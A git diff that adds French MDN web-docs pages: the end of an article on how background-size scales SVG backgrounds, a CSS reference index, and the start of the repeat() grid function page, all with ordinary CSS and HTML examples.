+<pre class="brush: css notranslate">background: url(no-dimensions-or-ratio.svg);
+background-size: contain;
+</pre>
+
+<p>Le résultat obtenu sera :</p>
+
+<p><img alt="no-dimensions-or-ratio-contain.png" class="default internal" src="/@api/deki/files/5874/=no-dimensions-or-ratio-contain.png"></p>
+
+<h4 id="SVG_source_Une_dimension_définie_et_aucune_proportion_2">SVG source : Une dimension définie et aucune proportion</h4>
+
+<p>De même si l'image possède une dimension mais aucune proportion, la règle 4 sera appliquée : l'image est ainsi redimensionnée pour couvrir toute la zone.</p>
+
+<pre class="brush: css notranslate">background: url(100px-wide-no-height-or-ratio.svg);
+background-size: contain;
+</pre>
+
+<p>Le résultat obtenu sera :</p>
+
+<p><img alt="100px-wide-no-height-or-ratio-contain.png" class="default internal" src="/@api/deki/files/5871/=100px-wide-no-height-or-ratio-contain.png"></p>
+
+<h4 id="SVG_source_Une_dimension_définie_et_des_proportions_intrinsèques_2">SVG source : Une dimension définie et des proportions intrinsèques</h4>
+
+<p>Ici, on a des proportions intrinsèques. Dans ce cas, la règle 1 n'est pas pertinente et on utilise donc la règle 2 : le ratio est conservé (tout en respectant les consignes de <code>contain</code> ou <code>cover</code>). Ainsi, avec <code>contain</code>, la boîte de 300x200 et le ratio de 3:4 entraîneront le dessin d'un arrière-plan de 150x200.</p>
+
+<h5 id="contain"><code>contain</code></h5>
+
+<pre class="brush: css notranslate">background: url(100px-height-3x4-ratio.svg);
+background-size: contain;
+</pre>
+
+<p>Le résultat obtenu sera :</p>
+
+<p><img alt="100px-height-3x4-ratio-contain.png" class="default internal" src="/@api/deki/files/5869/=100px-height-3x4-ratio-contain.png"></p>
+
+<p>On voit ici que toute l'image est affichée et est contenue dans la boîte sans être rognée.</p>
+
+<h5 id="cover"><code>cover</code></h5>
+
+<pre class="brush: css notranslate">background: url(100px-height-3x4-ratio.svg);
+background-size: cover;
+</pre>
+
+<p>Le résultat obtenu sera :</p>
+
+<p><img alt="100px-height-3x4-ratio-cover.png" class="default internal" src="/@api/deki/files/5870/=100px-height-3x4-ratio-cover.png"></p>
+
+<p>Dans ce cas, le ratio 3:4 est conservé et l'image est étirée Here, the 3:4 ratio is preserved while still stretching the image to fill the entire box. That causes the bottom of the image to be clipped away.</p>
+
+<h4 id="SVG_source_Aucune_dimension_mais_des_proportions_intrinsèques">SVG source : Aucune dimension mais des proportions intrinsèques</h4>
+
+<p>On obtient des résultats analogues lorsqu'on manipule une image sans dimension intrinsèque mais avec des proportions intrinsèques.</p>
+
+<h5 id="contain_2"><code>contain</code></h5>
+
+<pre class="brush: css notranslate">background: url(no-dimensions-1x1-ratio.svg);
+background-size: contain;
+</pre>
+
+<p>Le résultat ressemblera à :</p>
+
+<p><img alt="no-dimensions-1x1-ratio-contain.png" class="default internal" src="/@api/deki/files/5872/=no-dimensions-1x1-ratio-contain.png"></p>
+
+<p>On voit ici que l'image est redimensionnée à la plus petite taille tout en conservant le ratio 1:1.</p>
+
+<h5 id="cover_2"><code>cover</code></h5>
+
+<pre class="brush: css notranslate">background: url(no-dimensions-1x1-ratio.svg);
+background-size: cover;
+</pre>
+
+<p>Le résultat ressemblera à :</p>
+
+<p><img alt="no-dimensions-1x1-ratio-cover.png" class="default internal" src="/@api/deki/files/5873/=no-dimensions-1x1-ratio-cover.png"></p>
+
+<p>Ici, l'image est dimensionnée afin de couvrir la plus grande surface avec le ratio 1:1.</p>
+
+<h3 id="Utiliser_auto_pour_les_deux_axes">Utiliser <code>auto</code> pour les deux axes</h3>
+
+<p>Si {{cssxref("background-size")}} vaut <code>auto</code> ou <code>auto auto</code>, ce sera la règle n°2 qui s'appliquera : les proportions intrinsèques devront être conservées.</p>
+
+<h4 id="SVG_source_Aucune_dimension_ni_proportion_intrinsèque">SVG source : Aucune dimension ni proportion intrinsèque</h4>
+
+<p>Lorsque l'image n'a aucune proportion ni dimension, ce sera la dernière règle qui s'appliquera : l'image couvrira toute la surface de la zone.</p>
+
+<pre class="brush: css notranslate">background: url(no-dimensions-or-ratio.svg);
+background-size: auto auto;
+</pre>
+
+<p>Voici le résultat obtenu :</p>
+
+<p><img alt="auto-no-dimensions-or-ratio.png" class="default internal" src="/@api/deki/files/5878/=auto-no-dimensions-or-ratio.png"></p>
+
+<h4 id="SVG_source_une_dimension_mais_aucune_proportion_intrinsèque">SVG source : une dimension mais aucune proportion intrinsèque</h4>
+
+<p>S'il n'y a aucune proportion définie mais qu'une dimension est fournie, la règle n°3 s'appliquera et l'image sera affichée avec ces dimensions.</p>
+
+<pre class="brush: css notranslate">background: url(100px-wide-no-height-or-ratio.svg);
+background-size: auto auto;
+</pre>
+
+<p>Voici le résultat obtenu :</p>
+
+<p><img alt="auto-100px-wide-no-height-or-ratio.png" class="default internal" src="/@api/deki/files/5876/=auto-100px-wide-no-height-or-ratio.png"></p>
+
+<p>Ici, on voit que la largeur définie par le fichier SVG (100 pixels) est respectée. L'image s'étend sur toute la hauteur de la zone de l'arrière-plan car elle n'est pas définie (explicitement dans les déclarations ou intrinsèquement via l'image).</p>
+
+<h4 id="SVG_source_une_dimension_et_des_proportions_intrinsèques">SVG source : une dimension et des proportions intrinsèques</h4>
+
+<p>Si on dispose de proportions intrinsèques et d'une dimension fixée, les deux dimensions sont alors définies.</p>
+
+<pre class="brush: css notranslate">background: url(100px-height-3x4-ratio.svg);
+background-size: auto auto;
+</pre>
+
+<p>Le résultat sera le suivant :</p>
+
+<p><img alt="auto-100px-height-3x4-ratio.png" class="default internal" src="/@api/deki/files/5875/=auto-100px-height-3x4-ratio.png"></p>
+
+<p>Cette image mesure 100 pixels de haut et possède des proportions intrinsèques avec un ratio de 3:4. La largeur vaut donc 75 pixels et c'est ainsi qu'elle est affichée avec <code>auto</code>.</p>
+
+<h4 id="SVG_source_Aucune_dimension_définie_mais_des_proportions_intrinsèques">SVG source : Aucune dimension définie mais des proportions intrinsèques</h4>
+
+<p>Lorsqu'un ratio s'applique sans dimension, c'est la règle n°2 qui s'applique. L'image est affichée comme pour <code>contain</code>.</p>
+
+<pre class="brush: css notranslate">background: url(no-dimensions-1x1-ratio.svg);
+background-size: auto auto;
+</pre>
+
+<p>Le résultat ressemblera à :</p>
+
+<p><img alt="auto-no-dimensions-1x1-ratio.png" class="default internal" src="/@api/deki/files/5877/=auto-no-dimensions-1x1-ratio.png"></p>
+
+<h3 id="Utiliser_auto_et_une_dimension_fixée">Utiliser <code>auto</code> et une dimension fixée</h3>
+
+<p>Avec la première règle, les dimensions définies sont toujours utilisées et il faut donc utiliser les autres règles pour déterminer la seconde dimension.</p>
+
+<h4 id="SVG_source_aucune_dimension_ni_proportion_intrinsèque">SVG source : aucune dimension ni proportion intrinsèque</h4>
+
+<p>Si l'image ne possède ni dimension ni proportion intrinsèque, c'est la règle 4 qui s'applique et les dimensions de la zone pour l'arrière-plan seront utilisées pour <code>auto</code>.</p>
+
+<pre class="brush: css notranslate">background: url(no-dimensions-or-ratio.svg);
+background-size: auto 140px;
+</pre>
+
+<p><img alt="1auto-no-dimensions-or-ratio.png" class="default internal" src="/@api/deki/files/5881/=1auto-no-dimensions-or-ratio.png"></p>
+
+<p>Ici, la largeur est déterminée grâce à la zone dédiée à l'arrière-plan (règle n°4) et la hauteur est indiquée via la feuille de style (140px).</p>
+
+<h4 id="SVG_source_une_dimension_intrinsèque_mais_pas_de_proportion_intrinsèque">SVG source : une dimension intrinsèque mais pas de proportion intrinsèque</h4>
+
+<p>Si l'image possède une dimension implicite mais pas de ratio, la dimension définie sera utilisée selon la règle n°3 si elle vaut <code>auto</code> dans le code CSS.</p>
+
+<pre class="brush: css notranslate">background: url(100px-wide-no-height-or-ratio.svg);
+background-size: 200px auto;
+</pre>
+
+<p><img alt="100px-wide-no-height-or-ratio-length-auto.png" class="default internal" src="/@api/deki/files/5883/=100px-wide-no-height-or-ratio-length-auto.png"></p>
+
+<p>Ici, la valeur de 200px fournie dans la feuille de style surcharge la valeur de 100px définie dans le fichier SVG. Puisqu'il n'y a aucune proportion intrinsèque ni hauteur de définie et qu'on utilise la valeur <code>auto</code>, l'image fera la même hauteur que la zone pour l'arrière-plan.</p>
+
+<pre class="brush: css notranslate">background: url(100px-wide-no-height-or-ratio.svg);
+background-size: auto 125px;
+</pre>
+
+<p><img alt="100px-wide-no-height-or-ratio-auto-length.png" class="default internal" src="/@api/deki/files/5882/=100px-wide-no-height-or-ratio-auto-length.png"></p>
+
+<p>Ici, c'est la largeur qui vaut <code>auto</code> et ce sera donc la valeur définie dans l'image SVG (100px) qui sera utilisée. La hauteur est fixée à 125 pixels via la feuille de style.</p>
+
+<h4 id="SVG_source_une_dimension_définie_et_des_proportions_intrinsèques">SVG source : une dimension définie et des proportions intrinsèques</h4>
+
+<p>Lorsqu'une dimension est indiquée, la première règle s'applique et la dimension du fichier SVG est utilisée sauf si le CSS la redéfinit. Lorsqu'un ratio est indiqué, celui-ci est utilisé pour déterminer la deuxième dimension.</p>
+
+<pre class="brush: css notranslate">background: url(100px-height-3x4-ratio.svg);
+background-size: 150px auto;
+</pre>
+
+<p><img alt="1auto-100px-height-3x4-ratio.png" class="default internal" src="/@api/deki/files/5879/=1auto-100px-height-3x4-ratio.png"></p>
+
+<p>Ici, la hauteur de l'image a été surchargée pour valoir 150px. Les proportions intrinsèques permettent ensuite de définir la largeur (<code>auto</code> dans la feuille de style).</p>
+
+<h4 id="SVG_source_aucune_dimension_mais_des_proportions_intrinsèques">SVG source : aucune dimension mais des proportions intrinsèques</h4>
+
+<p>Si aucune dimension n'est définie dans l'image SVG, ce sera celle du CSS qui sera appliquée. Les proportions intrinsèques sont ensuite utilisées pour déterminer l'autre dimension (selon la rgèle n°2).</p>
+
+<pre class="brush: css notranslate">background: url(no-dimensions-1x1-ratio.svg);
+background-size: 150px auto;
+</pre>
+
+<p><img alt="1auto-no-dimensions-1x1-ratio.png" class="default internal" src="/@api/deki/files/5880/=1auto-no-dimensions-1x1-ratio.png"></p>
+
+<p>La largeur est définie à 150 pixels via la feuille de style et la hauteur est calculée à partir de cette largeur en utilisant le ratio 1:1, elle vaudra donc 150px ce qui donnera le résultat ci-dessus.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("background-size")}}</li>
+ <li>{{cssxref("background-image")}}</li>
+ <li>Billet de blog de Jeff Walden : <a href="https://whereswalden.com/2011/10/21/properly-resizing-vector-image-backgrounds/">Properly resizing vector image backgrounds (en anglais)</a></li>
+</ul>
diff --git a/files/fr/web/css/reference/index.html b/files/fr/web/css/reference/index.html
new file mode 100644
index 0000000000..8aa4af3b7a
--- /dev/null
+++ b/files/fr/web/css/reference/index.html
@@ -0,0 +1,193 @@
+---
+title: Référence CSS
+slug: Web/CSS/Reference
+tags:
+  - CSS
+  - CSS Data Types
+  - 'I10n:priority'
+  - Overview
+  - Reference
+  - Types CSS
+translation_of: Web/CSS/Reference
+---
+<div>{{CSSRef}}</div>
+
+<p>Cette <strong>référence CSS</strong> fournit un <strong><a href="#Index_des_mots-clés">index alphabétique</a></strong> de toutes les propriétés <a href="/fr/docs/Web/CSS">CSS</a> standards, des <a href="/fr/docs/Web/CSS/Pseudo-classes">pseudo-classes</a>, des <a href="/fr/docs/Web/CSS/Pseudo-elements">pseudo-éléments</a>, des <a href="/fr/docs/Web/CSS/Types_CSS">types de données</a> et des <a href="/fr/docs/Web/CSS/Règles_@">règles @</a>. Vous pouvez également trouver une liste alphabétique de tous les <strong><a href="#Sélecteurs">sélecteurs CSS par type</a></strong> et une liste des <strong><a href="#Concepts">concepts clés de CSS</a></strong>. Enfin est inclus un bref sommaire de <strong><a href="#DOM-CSS_CSSOM">référence sur DOM-CSS / CSSOM</a></strong>.</p>
+
+<h2 id="Syntaxe_de_règle_basique">Syntaxe de règle basique</h2>
+
+<h3 id="Syntaxe_de_style_basique">Syntaxe de style basique</h3>
+
+<pre class="syntaxbox"><var>règle-de-style-basique</var> <strong>::=</strong>
+    <var>liste-de-sélecteurs</var> <strong>{</strong>
+      <var>liste-de-propriétés</var>
+    <strong>}</strong>
+</pre>
+
+<p>... où :</p>
+
+<pre class="syntaxbox"><var>liste-de-sélecteurs</var> <strong>::=</strong>
+    <var>sélecteur[</var><strong>:</strong><var>pseudo-classe] [</var><strong>::</strong><var>pseudo-élément]
+    [</var><strong>,</strong><var> liste-de-sélecteurs]</var>
+
+<var>liste-de-propriétés</var> <strong>::=</strong>
+<var>    [propriété </var><strong>:</strong> <var>valeur] [</var><strong>; </strong><var>liste-de-propriétés]</var>
+</pre>
+
+<p>Voir aussi les <a href="#Sélecteurs"><em>sélecteurs</em></a>, <a href="#Pseudo-classes"><em>pseudo-classes</em></a>, et <em><a href="#Pseudo-éléments">pseudo-éléments</a></em> listés ci-dessous. La syntaxe des <em>valeurs</em> dépend du type de données attendu pour chaque <em>propriété</em> indiquée.</p>
+
+<h4 id="Exemples_de_règle_de_style">Exemples de règle de style</h4>
+
+<pre class="brush: css">strong {
+  color: red;
+}
+
+div.menu-bar li:hover &gt; ul {
+  display: block;
+}
+</pre>
+
+<p>Pour une introduction à la syntaxe des sélecteurs CSS, consultez <a href="/fr/docs/Apprendre/CSS/Introduction_%C3%A0_CSS/La_syntaxe">ce tutoriel</a>. Soyez conscient que n’importe quelle erreur de <a href="/fr/docs/Learn/CSS/First_steps/How_CSS_is_structured">syntaxe CSS</a> dans une définition de règle l’invalide entièrement. Les règles non validées sont ignorées par le navigateur. Note : les définitions de règles CSS sont intégralement <a href="https://www.w3.org/TR/css-syntax-3/#intro">basées sur du texte</a> (ASCII) alors que DOM-CSS / CSSOM (le système de gestion des règles) est <a href="https://www.w3.org/TR/cssom/#introduction">basé sur des objets</a>.</p>
+
+<h3 id="Syntaxe_des_règles"><strong>Syntaxe des règles @</strong></h3>
+
+<p>Comme la structure des règles @ varie grandement, veuillez consulter <a href="/fr/docs/Web/CSS/Règles_@">règle @</a> pour trouver la syntaxe que vous souhaitez.</p>
+
+<h2 id="Index_des_mots-clés"><strong>Index des mots-clés</strong></h2>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Les noms de propriétés de cet index n’incluent <strong>pas</strong> les <a href="/fr/docs/Web/CSS/CSS_Properties_Reference">noms de l’API DOM JavaScript</a> lorsqu’ils sont différents des noms standards CSS.</p>
+</div>
+
+<p>{{CSS_Ref}}</p>
+
+<h2 id="Sélecteurs">Sélecteurs</h2>
+
+<p>Sont indiqués dans ce qui suit les divers <a href="/fr/docs/Web/CSS/Sélecteurs_CSS">sélecteurs</a>, qui permettent aux styles d'être appliqués de façon conditionnelle selon diverses caractéristiques des éléments présents dans le DOM.</p>
+
+<h3 id="Sélecteurs_simples"><a href="/fr/docs/Web/CSS/Sélecteurs_CSS#Les_sélecteurs_simples/fr/docs/Web/CSS/Sélecteurs_CSS">Sélecteurs simples</a></h3>
+
+<p>Les sélecteurs simples sont des sélecteurs fondamentaux. Ce sont les sélecteurs les plus élémentaires qui sont fréquemment combinés pour créer d'autres sélecteurs plus complexes.</p>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Sélecteurs_de_type">Sélecteur de type</a> <code><var>nomElement</var></code></li>
+ <li><a href="/fr/docs/Web/CSS/Sélecteurs_de_classe">Sélecteur de classe</a> <code><strong>.</strong><var>nomClasse</var></code></li>
+ <li><a href="/fr/docs/Web/CSS/Sélecteurs_d_ID">Sélecteur d’identifiant</a> <code><strong>#</strong><var>nomID</var></code></li>
+ <li><a href="/fr/docs/Web/CSS/Sélecteurs_universels">Sélecteur universel</a> <code><strong>*</strong></code>, <code><var>ns</var><strong>|*</strong></code>, <code><strong>*|*</strong></code>, <code><strong>|*</strong></code></li>
+ <li><a href="/fr/docs/Web/CSS/Sélecteurs_d_attribut">Sélecteur d’attribut</a> <code><strong>[</strong><var>attr</var><strong>=</strong><var>valeur</var><strong>]</strong></code></li>
+</ul>
+
+<h3 id="Sélecteur_de_groupe">Sélecteur de groupe</h3>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Selector_list">Sélecteur de conjonction</a> <code>A, B</code></dt>
+ <dd>Indique que les éléments des sélecteurs <code>A</code> et <code>B</code> doivent être sélectionnés. Il s'agit d'une méthode de groupement pour sélectionner des éléments selon plusieurs critères.</dd>
+</dl>
+
+<h3 id="Combinateurs"><a href="/fr/docs/Web/CSS/Sélecteurs_CSS#Les_combinateurs">Combinateurs</a></h3>
+
+<p>Les combinateurs sont des sélecteurs qui établissent une relation entre deux sélecteurs ou plus, tel que "A est un enfant de B" ou "A est adjacent à B".</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteur_de_voisin_direct">Combinateur de voisin direct</a> <code><var>A</var> <strong>+</strong> <var>B</var></code></dt>
+ <dd>Indique que les éléments sélectionnés par <code>A</code> et par <code>B</code> ont le même parent et que celui sélectionné par <code>B</code> suit immédiatement celui sélectionné par <code>A</code>.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteurs_de_voisins_généraux">Combinateur de voisin général</a> <code><var>A</var> <strong>~</strong> <var>B</var></code></dt>
+ <dd>Indique que les éléments sélectionnés par <code>A</code> et par <code>B</code> ont le même parent et que celui sélectionné par <code>B</code> suit celui sélectionné par <code>A</code>, mais pas nécessairement immédiatement après lui.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteurs_enfant">Combinateur d’enfant</a> <code><var>A</var> <strong>&gt;</strong> <var>B</var></code></dt>
+ <dd>Indique que l’élément sélectionné par <code>B</code> est un enfant direct de l’élément sélectionné par <code>A</code>.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Sélecteurs_descendant">Combinateur de descendant</a> <code><var>A</var> <var>B</var></code></dt>
+ <dd>Indique que l’élément sélectionné par <code>B</code> est un descendant de l’élément sélectionné par <code>A</code>, mais n’en est pas nécessairement un enfant direct.</dd>
+ <dt><a href="/fr/docs/Web/CSS/Column_combinator">Combinateur de colonne</a> <code><var>A</var> <strong>||</strong> <var>B</var></code> {{Experimental_Inline}}</dt>
+ <dd>Indique que l’élément sélectionné par <code>B</code> est situé dans la colonne de table indiquée par <code>A</code>. Les éléments qui s’étendent sur des colonnes multiples sont considérés comme étant membres de chacune de ces colonnes.</dd>
+</dl>
+
+<h3 id="Pseudo-classes"><a href="/fr/docs/Web/CSS/Sélecteurs_CSS#Les_pseudo-classes">Pseudo-classes</a></h3>
+
+<div class="index">
+<ul>
+ <li class="hidden">{{Page("/fr/docs/Web/CSS/Pseudo-classes", "index")}}</li>
+</ul>
+</div>
+
+<h3 id="Pseudo-éléments"><a href="/fr/docs/Web/CSS/Sélecteurs_CSS#Les_pseudo-éléments">Pseudo-éléments</a></h3>
+
+<div class="index">
+<ul>
+ <li class="hidden">{{Page("/fr/docs/Web/CSS/Pseudo-elements", "index")}}</li>
+</ul>
+</div>
+
+<div class="blockIndicator note">
+<p><strong>Note :</strong> Une <a href="https://www.w3.org/TR/selectors/#overview">liste complète des sélecteurs</a> existe dans le module de spécification Selectors de niveau 4.</p>
+</div>
+
+<h2 id="Concepts">Concepts</h2>
+
+<h3 id="Syntaxe_et_sémantique">Syntaxe et sémantique</h3>
+
+<ul>
+ <li><a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/La_syntaxe">Syntaxe CSS</a></li>
+ <li><a href="/fr/docs/Web/CSS/Règles_@">Règles @ (<em>at-rules</em>)</a></li>
+ <li><a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/La_cascade_et_l_héritage">Cascade</a></li>
+ <li><a href="/fr/docs/Web/CSS/Comments">Commentaires</a></li>
+ <li><a href="/fr/docs/Glossaire/Descripteur_(CSS)">Descripteurs</a></li>
+ <li><a href="/fr/docs/Web/CSS/Héritage">Héritage</a></li>
+ <li><a href="/fr/docs/Web/CSS/Propriétés_raccourcies">Propriétés raccourcies</a></li>
+ <li><a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/La_cascade_et_l_héritage#Spécificité">Spécificité</a></li>
+ <li><a href="/fr/docs/Web/CSS/Syntaxe_de_définition_des_valeurs">Syntaxe de définition des valeurs</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeurs_et_unités_CSS">Unités et valeurs CSS</a></li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/valeur_reelle">Valeur réelle</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_calculée">Valeur calculée</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_initiale">Valeur initiale</a></li>
+ <li><a href="/fr/docs/Web/CSS/valeur_résolue">Valeur résolue</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_spécifiée">Valeur spécifiée</a></li>
+ <li><a href="/fr/docs/Web/CSS/Valeur_utilisée">Valeur utilisée</a></li>
+</ul>
+
+<h3 id="Disposition">Disposition</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Block_formatting_context">Contexte de formatage de bloc</a></li>
+ <li><a href="/fr/docs/Apprendre/CSS/Introduction_à_CSS/Le_modèle_de_boîte">Modèle de boîte</a></li>
+ <li><a href="/fr/docs/Web/CSS/A_Propos_Du_Bloc_Conteneur">Bloc englobant</a></li>
+ <li><a href="/fr/docs/Web/CSS/Mode_de_mise_en_page">Modes de disposition</a></li>
+ <li><a href="/fr/docs/Web/CSS/Modèle_de_boîte_CSS/Fusion_des_marges">Fusion des marges</a></li>
+ <li><a href="/fr/docs/Web/CSS/Élément_remplacé">Éléments remplacés</a></li>
+ <li><a href="/fr/docs/Web/CSS/Comprendre_z-index/Empilement_de_couches">Contexte d'empilement</a></li>
+ <li><a href="/fr/docs/Web/CSS/Modèle_de_mise_en_forme_visuelle">Modèle de mise en forme visuelle</a></li>
+</ul>
+
+<h2 id="DOM-CSS_CSSOM">DOM-CSS / CSSOM</h2>
+
+<h3 id="Principaux_types_dobjets">Principaux types d'objets</h3>
+
+<ul>
+ <li>{{DOMxRef("DocumentOrShadowRoot.styleSheets")}}</li>
+ <li><code>{{DOMxRef("StyleSheetList", "styleSheets", "", 1)}}[i].{{DOMxRef("CSSRuleList", "cssRules", "", 1)}}</code></li>
+ <li><code>cssRules[i].{{DOMxRef("CSSRule.cssText", "cssText", "", 1)}}</code> (sélecteur et style)</li>
+ <li><code>cssRules[i].{{DOMxRef("CSSStyleRule.selectorText", "selectorText", "", 1)}}</code></li>
+ <li>{{DOMxRef("HTMLElement.style")}}</li>
+ <li><code>HTMLElement.style.{{DOMxRef("CSSStyleDeclaration.cssText", "cssText", "", 1)}}</code> (style uniquement)</li>
+ <li>{{DOMxRef("Element.className")}}</li>
+ <li>{{DOMxRef("Element.classList")}}</li>
+</ul>
+
+<h3 id="Méthodes_importantes">Méthodes importantes</h3>
+
+<ul>
+ <li>{{DOMxRef("CSSStyleSheet.insertRule()")}}</li>
+ <li>{{DOMxRef("CSSStyleSheet.deleteRule()")}}</li>
+</ul>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Extensions_Mozilla">Extensions spécifiques de Mozilla à CSS</a> (préfixées avec <code>-moz-</code>)</li>
+ <li><a href="/fr/docs/Web/CSS/Reference/Extensions_WebKit">Extensions spécifiques de WebKit à CSS</a> (préfixées pour la plupart avec <code>-webkit-</code>)</li>
+ <li><a href="/fr/docs/Web/CSS/Extensions_CSS_Microsoft">Extensions spécifiques de Microsoft à CSS</a> (préfixées pour la plupart avec <code>-ms-</code>)</li>
+</ul>
diff --git a/files/fr/web/css/repeat()/index.html b/files/fr/web/css/repeat()/index.html
new file mode 100644
index 0000000000..17ef02d2f8
--- /dev/null
+++ b/files/fr/web/css/repeat()/index.html
@@ -0,0 +1,149 @@
+---
+title: repeat()
+slug: Web/CSS/repeat()
+tags:
+  - CSS
+  - Fonction
+  - Grille CSS
+  - Reference
+  - Web
+translation_of: Web/CSS/repeat()
+---
+<div>{{CSSRef}}</div>
+
+<p>La fonction CSS <code><strong>repeat</strong></code><strong><code>()</code></strong> permet de répéter un fragment d'une liste de pistes. Autrement dit, lorsqu'on a une grille avec de nombreuses lignes/colonnes, cela permet de réutiliser un même motif sur la grille. On a alors des règles plus concises.</p>
+
+<p>Cette fonction peut être utilisée par les propriétés CSS {{cssxref("grid-template-columns")}} et {{cssxref("grid-template-rows")}} relatives aux grilles.</p>
+
+<pre class="brush: css no-line-numbers notranslate">/* Valeurs de type &lt;track-repeat&gt; */
+repeat(4, 1fr)
+repeat(4, [col-start] 250px [col-end])
+repeat(4, [col-start] 60% [col-end])
+repeat(4, [col-start] 1fr [col-end])
+repeat(4, [col-start] min-content [col-end])
+repeat(4, [col-start] max-content [col-end])
+repeat(4, [col-start] auto [col-end])
+repeat(4, [col-start] minmax(100px, 1fr) [col-end])
+repeat(4, [col-start] fit-content(200px) [col-end])
+repeat(4, 10px [col-start] 30% [col-middle] auto [col-end])
+repeat(4, [col-start] min-content [col-middle] max-content [col-end])
+
+/* Valeurs de type &lt;auto-repeat&gt; */
+repeat(auto-fill, 250px)
+repeat(auto-fit, 250px)
+repeat(auto-fill, [col-start] 250px [col-end])
+repeat(auto-fit, [col-start] 250px [col-end])
+repeat(auto-fill, [col-start] minmax(100px, 1fr) [col-end])
+repeat(auto-fill, 10px [col-start] 30% [col-middle] 400px [col-end])
+
+/* Valeurs de type &lt;fixed-repeat&gt; */
+repeat(4, 250px)
+repeat(4, [col-start] 250px [col-end])
+repeat(4, [col-start] 60% [col-end])
+repeat(4, [col-start] minmax(100px, 1fr) [col-end])
+repeat(4, [col-start] fit-content(200px) [col-end])
+repeat(4, 10px [col-start] 30% [col-middle] 400px [col-end])
+</pre>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>&lt;length&gt;</code></dt>
+ <dd>Une longueur positive (cf. le type {{cssxref("&lt;length&gt;")}}).</dd>
+ <dt><code>&lt;percentage&gt;</code></dt>
+ <dd>Un pourcentage (cf. le type {{cssxref("&lt;percentage&gt;")}}) positif qui indique la proportion par rapport à la taille en ligne (c'est-à-dire la dimension qui suit l'axe de lecture) pour les colonnes et par rapport à la taille en bloc (l'axe orthogonal) pour les lignes. Si la taille de la grille est calculée en fonction de la taille des pistes qu'elle contient, <code>&lt;percentage&gt;</code> devra être interprété comme <code>auto</code>. L'agent utilisateur peut ajuster les tailles intrinsèques des pistes pour qu'elles remplissent exactement le conteneur et acroître le moins possible la taille finale de la piste pour qu'elle se rapproche du pourcentage souhaité.</dd>
+ <dt><code>&lt;flex&gt;</code></dt>
+ <dd>Une dimension positive, exprimée en <code>fr</code>, qui indique le facteur de flexibilité de la piste (cf. le type {{cssxref("&lt;flex&gt;")}}). Chaque piste flexible partage l'espace de façon proportionnelle avec les autres pistes flexibles.</dd>
+ <dt><code>max-content</code></dt>
+ <dd>Cette valeur représente la contribution maximale des éléments qui occupent la piste.</dd>
+ <dt><code>min-content</code></dt>
+ <dd>Cette valeur représente la contribution minimale des éléments qui occupent la piste.</dd>
+ <dt><code>auto</code></dt>
+ <dd>Utilisée comme maximum, cette valeur se comporte comme <code>max-content</code>. Utilisée comme minimum, elle représente la plus grande taille minimale (définie par {{cssxref("min-width")}}/{{cssxref("min-height")}}) des éléments qui occupent la piste.</dd>
+ <dt><code>auto-fill</code></dt>
+ <dd>Si le conteneur de la grille possède une taille définie ou maximale sur cet axe, alors le moteur répètera autant que possible le motif pour ne pas déborder de la grille. Si répéter le motif implique de déborder de la grille, il n'est répété qu'une fois. Sinon, si le conteneur de la grille possède une taille minimale sur cet axe, on utilisera le moins de répétitions possible pour atteindre ce minimum. Sinon, la liste de piste n'est répétée qu'une seule fois.</dd>
+ <dt><code>auto-fit</code></dt>
+ <dd>
+ <p>Cette valeur se comporte comme <code>auto-fill</code> mais, une fois que les objets sont placés, toutes les pistes répétées qui sont vides sont repliées. Une piste vide est une piste qui ne contient aucun élément ou sur laquelle aucun élément n'intersecte. Toutes les pistes peuvent être repliées si elles sont toutes vides.</p>
+
+ <p>Une piste repliée est traitée comme si elle avait une taille de piste de <code>0px</code> (les gouttières sont également repliées de chaque côté).</p>
+
+ <p>Afin de calculer le nombre de pistes automatiquement répétées, l'agent utilisateur arrondit la taille de la piste à une valeur non nulle, propre à l'agent utilisateur (par exemple 1 px), afin d'éviter les divisions par zéros.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox notranslate">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[3] notranslate">#container {
+  display: grid;
+  grid-template-columns: repeat(2, 50px 1fr) 100px;
+  grid-gap: 5px;
+  box-sizing: border-box;
+  height: 200px;
+  width: 100%;
+  background-color: #8cffa0;
+  padding: 10px;
+}
+
+#container &gt; div {
+  background-color: #8ca0ff;
+  padding: 5px;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;div id="container"&gt;
+  &lt;div&gt;
+    Un élément qui mesure 50 pixels de large.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Un élément avec une largeur flexible.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Un élément qui mesure 50 pixels de large.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Un élément avec une largeur flexible.
+  &lt;/div&gt;
+  &lt;div&gt;
+    Un élément non-flexible qui mesure 100 pixels de large.
+  &lt;/div&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Example", "100%", 200)}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
